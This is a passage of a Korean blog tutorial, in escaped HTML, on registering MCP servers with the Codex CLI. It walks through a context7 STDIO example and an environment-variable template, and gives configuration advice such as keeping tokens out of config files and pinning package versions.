&lt;p style=&quot;margin: 8px 0 0; font-size: 14px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;원격 실행은 MCP, 로컬 실행은 Skills로 정리되는 것 같습니다&quot; &amp;mdash; GeekNews @m00nlygreat (2026-03)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin: 34px 0 18px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. MCP 서버 등록 &amp;mdash; STDIO와 HTTP&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;1068&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xu1ze/dJMcahqR55Y/HdgJrPnC8QXGW6IvJurCkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xu1ze/dJMcahqR55Y/HdgJrPnC8QXGW6IvJurCkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xu1ze/dJMcahqR55Y/HdgJrPnC8QXGW6IvJurCkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fxu1ze%2FdJMcahqR55Y%2FHdgJrPnC8QXGW6IvJurCkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1982&quot; height=&quot;1068&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;1068&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;가장 먼저 익힐 방식은 &lt;b&gt;CLI&lt;/b&gt;(Command Line Interface &amp;mdash; 터미널에서 명령어로 조작하는 방식) 등록이다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;공식 문서의 기본 문법은 다음과 같다.&lt;/p&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 16px; border-radius: 8px; overflow-x: auto; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;codex mcp add &amp;lt;server-name&amp;gt; --env VAR1=VALUE1 --env VAR2=VALUE2 -- &amp;lt;stdio server-command&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;이 문법에서 &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;--&lt;/code&gt; 뒤쪽은 실제 STDIO 서버를 시작하는 명령이다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;즉 &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;codex mcp add&lt;/code&gt;는 서버 이름과 환경변수를 Codex 설정에 등록하고, 마지막 명령으로 MCP 서버를 어떻게 띄울지 알려준다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;공식 문서에 나온 context7 등록 예시는 다음과 같다.&lt;/p&gt;
&lt;pre class=&quot;css&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 16px; border-radius: 8px; overflow-x: auto; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;codex mcp add context7 -- npx -y @upstash/context7-mcp&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 14px 16px; margin: 18px 0; border-radius: 6px; color: #333;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;주의: &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;npx -y&lt;/code&gt;는 npm 패키지를 내려받아 실행할 수 있다. 블로그 예시를 복사하기 전에는 패키지 출처, 버전, 공식 문서 링크를 확인하고 팀 환경에서는 버전 고정을 검토한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;이 명령은 context7이라는 이름으로 STDIO MCP 서버를 등록한다. 문서 확인이 자주 필요한 프론트엔드&amp;middot;SDK 작업에서는 이 유형의 문서 서버가 특히 유용하다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;환경변수가 필요한 서버는 다음 패턴으로 등록한다. 아래는 공식 문법을 따른 템플릿이며, 실제 서버 명령과 변수명은 해당 MCP 서버 문서에 맞춰 바꿔야 한다.&lt;/p&gt;
&lt;pre class=&quot;crmsh&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 16px; border-radius: 8px; overflow-x: auto; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;codex mcp add my-server --env API_TOKEN=$API_TOKEN -- node ./server.js&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;등록 후에는 터미널 UI에서 &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;/mcp&lt;/code&gt; 명령을 사용하거나, 셸에서 &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;codex mcp --help&lt;/code&gt;로 관련 명령을 확인할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;공식 문서가 확인해주는 범위는 여기까지이며, 서버별 헬스체크 절차는 각 MCP 서버 문서를 함께 봐야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;따라 해보는 MCP 설정&lt;/h3&gt;
&lt;div style=&quot;background-color: #fffbe6; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #f0ad4e; margin: 18px 0;&quot;&gt;&lt;b&gt;세 패턴 &amp;mdash; STDIO 1종, HTTP 2종&lt;/b&gt;
&lt;p style=&quot;margin: 8px 0 10px; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;STDIO는 로컬에서 프로세스를 직접 실행한다. HTTP는 외부 서비스 엔드포인트에 직접 연결한다. 두 방식 모두 TOML에 기록되며 공통 원칙은 같다.&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;인증 정보는 환경변수 이름만&lt;/b&gt; &amp;mdash; 토큰 값은 config에 절대 남기지 않는다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;enabled_tools로 범위를 좁혀 시작&lt;/b&gt; &amp;mdash; 서버 전체보다 필요한 도구만 먼저 열고 확인해가며 추가한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Goal&amp;middot;Completion을 주석으로 먼저 적는다&lt;/b&gt; &amp;mdash; 설정 의도가 파일에 남으면 다음 사람이 맥락을 이해한다&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 22px 0 10px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;예시 A &amp;mdash; 로컬 STDIO (문서 확인용, 인증 없음)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;낯선 라이브러리를 쓸 때마다 공식 문서와 Codex를 번갈아 보는 흐름이 있다면, context7을 붙이면 그 왕복이 줄어든다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Goal: 라이브러리 문서를 Codex가 직접 참조하게 한다
# Setup: npx가 설치된 환경, 인터넷 연결
# Constraints: 읽기 전용. 코드 수정은 Codex 자체가 한다.
# Completion: codex mcp add 실행 후 &quot;React 최신 useEffect 규칙 기준으로 수정해&quot; 요청이 되면 완료

codex mcp add context7 -- npx -y @upstash/context7-mcp&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) codex&amp;nbsp;mcp&amp;nbsp;add&amp;nbsp;context7&amp;nbsp;--&amp;nbsp;npx&amp;nbsp;-y&amp;nbsp;@upstash/context7-mcp&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2820&quot; data-origin-height=&quot;150&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/A3zHx/dJMcaiiYV2b/gmWeyitsZ9gVsDhFzyQlJ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/A3zHx/dJMcaiiYV2b/gmWeyitsZ9gVsDhFzyQlJ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/A3zHx/dJMcaiiYV2b/gmWeyitsZ9gVsDhFzyQlJ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FA3zHx%2FdJMcaiiYV2b%2FgmWeyitsZ9gVsDhFzyQlJ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2820&quot; height=&quot;150&quot; data-origin-width=&quot;2820&quot; data-origin-height=&quot;150&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 추가 한 후 접속하면 새로 추가한 context7 mcp가 로드 되고 있는것을 볼 수 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1038&quot; data-origin-height=&quot;182&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DsdYO/dJMcaaL0Iy6/UgUDw8u8yFhRHGakJFfbEK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DsdYO/dJMcaaL0Iy6/UgUDw8u8yFhRHGakJFfbEK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DsdYO/dJMcaaL0Iy6/UgUDw8u8yFhRHGakJFfbEK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDsdYO%2FdJMcaaL0Iy6%2FUgUDw8u8yFhRHGakJFfbEK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1038&quot; height=&quot;182&quot; data-origin-width=&quot;1038&quot; data-origin-height=&quot;182&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 로드된 이후 /mcp 입력해보면 잘 설치되어 있음을 확인 가능하다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;844&quot; data-origin-height=&quot;166&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZdoM1/dJMcaaZymlF/omtByFenkkKkYkFiKb6Ot1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZdoM1/dJMcaaZymlF/omtByFenkkKkYkFiKb6Ot1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZdoM1/dJMcaaZymlF/omtByFenkkKkYkFiKb6Ot1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZdoM1%2FdJMcaaZymlF%2FomtByFenkkKkYkFiKb6Ot1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;844&quot; height=&quot;166&quot; data-origin-width=&quot;844&quot; data-origin-height=&quot;166&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - 사용방법 관련해서는 하기 섹션에서 다루지만, 미리 잠깐 살펴보자면, 다음과 같이 명시적으로 context7을 사용하라는 지시를 내려 사용해보았다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1468&quot; data-origin-height=&quot;138&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dagLiv/dJMcagFvUtT/Tjydm2gJihik8lk9UEQDw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dagLiv/dJMcagFvUtT/Tjydm2gJihik8lk9UEQDw0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dagLiv/dJMcagFvUtT/Tjydm2gJihik8lk9UEQDw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdagLiv%2FdJMcagFvUtT%2FTjydm2gJihik8lk9UEQDw0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1468&quot; height=&quot;138&quot; data-origin-width=&quot;1468&quot; data-origin-height=&quot;138&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- context7 을 사용하려는 시도와 결과&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1800&quot; data-origin-height=&quot;476&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lSz0S/dJMcaaFiqdI/CkPAJaSpi8xJsPoDKlpOVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lSz0S/dJMcaaFiqdI/CkPAJaSpi8xJsPoDKlpOVK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lSz0S/dJMcaaFiqdI/CkPAJaSpi8xJsPoDKlpOVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlSz0S%2FdJMcaaFiqdI%2FCkPAJaSpi8xJsPoDKlpOVK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1800&quot; height=&quot;476&quot; data-origin-width=&quot;1800&quot; data-origin-height=&quot;476&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1870&quot; data-origin-height=&quot;558&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zTHsH/dJMcaaSOFUw/6gq8tYVLgzFXDrR3sXFPK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zTHsH/dJMcaaSOFUw/6gq8tYVLgzFXDrR3sXFPK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zTHsH/dJMcaaSOFUw/6gq8tYVLgzFXDrR3sXFPK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzTHsH%2FdJMcaaSOFUw%2F6gq8tYVLgzFXDrR3sXFPK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1870&quot; height=&quot;558&quot; data-origin-width=&quot;1870&quot; data-origin-height=&quot;558&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1866&quot; data-origin-height=&quot;948&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Xrhy8/dJMcag6x8Bc/Ujq9JIWcoKxIlLaG88bZy0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Xrhy8/dJMcag6x8Bc/Ujq9JIWcoKxIlLaG88bZy0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Xrhy8/dJMcag6x8Bc/Ujq9JIWcoKxIlLaG88bZy0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXrhy8%2FdJMcag6x8Bc%2FUjq9JIWcoKxIlLaG88bZy0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1866&quot; height=&quot;948&quot; data-origin-width=&quot;1866&quot; data-origin-height=&quot;948&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 이후 질문들은 우리 글과 상관은 없지만, codex기본기를 다루는 상황에 이력을 공유 하려고 한다. 시간이 없으신분들은 빠르게 넘어가자.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2074&quot; data-origin-height=&quot;204&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TfXlR/dJMb997qkzD/41G2TitDBbG56Uochr7Oi1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TfXlR/dJMb997qkzD/41G2TitDBbG56Uochr7Oi1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TfXlR/dJMb997qkzD/41G2TitDBbG56Uochr7Oi1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTfXlR%2FdJMb997qkzD%2F41G2TitDBbG56Uochr7Oi1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2074&quot; height=&quot;204&quot; data-origin-width=&quot;2074&quot; data-origin-height=&quot;204&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2084&quot; data-origin-height=&quot;448&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uNkoe/dJMcacpyxps/pf0semjiTUi8FxYKPPYRZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uNkoe/dJMcacpyxps/pf0semjiTUi8FxYKPPYRZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uNkoe/dJMcacpyxps/pf0semjiTUi8FxYKPPYRZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuNkoe%2FdJMcacpyxps%2Fpf0semjiTUi8FxYKPPYRZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2084&quot; height=&quot;448&quot; data-origin-width=&quot;2084&quot; data-origin-height=&quot;448&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2066&quot; data-origin-height=&quot;398&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lF9pU/dJMcagyGSTG/7pYufz5hZX9fTFlbF8Fh90/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lF9pU/dJMcagyGSTG/7pYufz5hZX9fTFlbF8Fh90/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lF9pU/dJMcagyGSTG/7pYufz5hZX9fTFlbF8Fh90/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlF9pU%2FdJMcagyGSTG%2F7pYufz5hZX9fTFlbF8Fh90%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2066&quot; height=&quot;398&quot; data-origin-width=&quot;2066&quot; data-origin-height=&quot;398&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2078&quot; data-origin-height=&quot;554&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcLLSD/dJMcadaQPUR/vi2UfRsxAyXYBg54kNaKUK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcLLSD/dJMcadaQPUR/vi2UfRsxAyXYBg54kNaKUK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcLLSD/dJMcadaQPUR/vi2UfRsxAyXYBg54kNaKUK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbcLLSD%2FdJMcadaQPUR%2Fvi2UfRsxAyXYBg54kNaKUK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2078&quot; height=&quot;554&quot; data-origin-width=&quot;2078&quot; data-origin-height=&quot;554&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2062&quot; data-origin-height=&quot;556&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UoP6w/dJMcadWfTjt/BOGIf0B8J8eAu1knMJUdtk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UoP6w/dJMcadWfTjt/BOGIf0B8J8eAu1knMJUdtk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UoP6w/dJMcadWfTjt/BOGIf0B8J8eAu1knMJUdtk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUoP6w%2FdJMcadWfTjt%2FBOGIf0B8J8eAu1knMJUdtk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2062&quot; height=&quot;556&quot; data-origin-width=&quot;2062&quot; data-origin-height=&quot;556&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2082&quot; data-origin-height=&quot;862&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPbWvH/dJMcahYGeCO/wOEEhYOKcyOH6WpvcevlmK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPbWvH/dJMcahYGeCO/wOEEhYOKcyOH6WpvcevlmK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPbWvH/dJMcahYGeCO/wOEEhYOKcyOH6WpvcevlmK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPbWvH%2FdJMcahYGeCO%2FwOEEhYOKcyOH6WpvcevlmK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2082&quot; height=&quot;862&quot; data-origin-width=&quot;2082&quot; data-origin-height=&quot;862&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #e8f4f8; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 18px 0;&quot;&gt;&lt;b&gt;줄별 해설&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Goal&lt;/b&gt;: &quot;외부 문서를 Codex가 읽는다&quot;가 목적이다. 코드 수정을 자동화하는 게 아니다. 이 구분이 없으면 Codex 행동 범위에 대한 기대가 어긋난다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;npx -y&lt;/b&gt;: 매번 최신 버전을 내려받는다. 팀 환경에서는 버전 고정(@버전)을 추가하지 않으면 동일 서버 버전을 보장하기 어렵다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Constraints 없음&lt;/b&gt;: context7은 읽기 전용이므로 Rules 파일에 별도 제한이 없어도 쓰기 사고가 없다. 쓰기 가능한 서버는 이 단계에서 명시해야 한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Completion&lt;/b&gt;: 실제 요청을 날려봐야 연결이 됐는지 안 됐는지 알 수 있다. &quot;등록 완료&quot; 메시지만으로 동작 확인이 된 건 아니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
